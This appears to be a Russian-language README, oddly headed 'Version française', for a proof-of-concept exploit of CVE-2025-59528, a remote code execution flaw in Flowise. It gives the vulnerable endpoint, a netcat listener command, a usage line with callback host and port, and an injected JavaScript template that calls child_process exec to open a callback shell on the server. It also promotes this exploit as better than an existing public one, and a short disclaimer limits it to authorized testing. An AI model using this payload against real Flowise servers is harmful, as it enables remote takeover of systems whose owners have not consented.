Version française

CVE-2025-59528 Proof of Concept

Минимальный PoC, ориентированный на техническую валидацию уязвимости в авторизованной среде.

Предварительные требования

• У вас должна быть учётная запись пользователя на целевой панели Flowise.
• У вас должен быть действующий API-ключ, привязанный к этой учётной записи.
• Вы должны запустить слушатель на вашем callback-хосте перед запуском PoC (пример: nc -lvn 4444).

Пример использования

Сначала запустите слушатель:

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

Замените значения на параметры вашей авторизованной среды.

Сводка по CVE

• Затронутый продукт: Flowise
• Затронутые версии: ниже 3.0.5
• Тип: Remote Code Execution (RCE)
• Точка входа: конечная точка POST /api/v1/node-load-method/customMCP

Проблема связана с тем, как обрабатывается inputs.mcpServerConfig: это значение интерпретируется таким образом, что допускает выполнение JavaScript на стороне сервера. На практике аутентифицированный злоумышленник может внедрить выражение, которое вызывает child_process и выполняет команду ОС.

Механизм эксплуатации

Порядок эксплуатации следующий:

1. Сформировать запрос к конечной точке customMCP.
2. Поместить вредоносное JavaScript-выражение в mcpServerConfig.
3. Вызвать process.mainModule.require('child_process').
4. Выполнить команду ОС (exec/execSync).

Если запрос принят, сервер выполняет команду в контексте своей системы.

Как работает этот PoC (poc.py)

Скрипт принимает четыре аргумента:

• -d/--domain: целевой домен
• -lh/--host: callback-IP
• -lp/--port: callback-порт
• -A/--api: Bearer API-токен

Затем он:

1. Формирует уязвимый URL: http://<domain>/api/v1/node-load-method/customMCP
2. Добавляет заголовок Authorization: Bearer <token>
3. Подготавливает команду callback-shell
4. Внедряет эту команду в JS-выражение:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Отправляет этот JSON:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<injected JS expression>"
  }
}

6. Выводит HTTP-статус и необработанный ответ для валидации.

Почему этот PoC лучше (по сравнению с EDB 52440)

По сравнению с PoC из EDB (который выполняет вход по email/password, использует браузерные заголовки и запускает произвольную команду через --cmd), этот скрипт лучше подходит для чистой валидации PoC:

1. Более прямой: нет процесса входа и лишнего HTTP-шума.
2. Меньше точек отказа: меньше шагов, привязанных к конфигурации фронтенда/аутентификации.
3. Удобная автоматизация для CI: простые аргументы и быстрый вывод.
4. Более чёткая валидация: статус и тело ответа выводятся немедленно.
5. Сфокусирован на основной траектории CVE: внедрение в mcpServerConfig и выполнение на стороне сервера.

Короче говоря: скрипт из EDB — это более общая атакующая демонстрация, тогда как этот PoC более точечно нацелен на техническую воспроизводимость.

Текущие ограничения

• Предполагается, что действующий API-токен уже существует.
• Нет режима https или обработки сертификатов.
• Нет логики повторов/backoff.
• Callback-команда захардкожена (пока не параметризована через --cmd).

Ответственное использование

Тестируйте только на системах, которыми вы владеете или на которые у вас есть явное разрешение.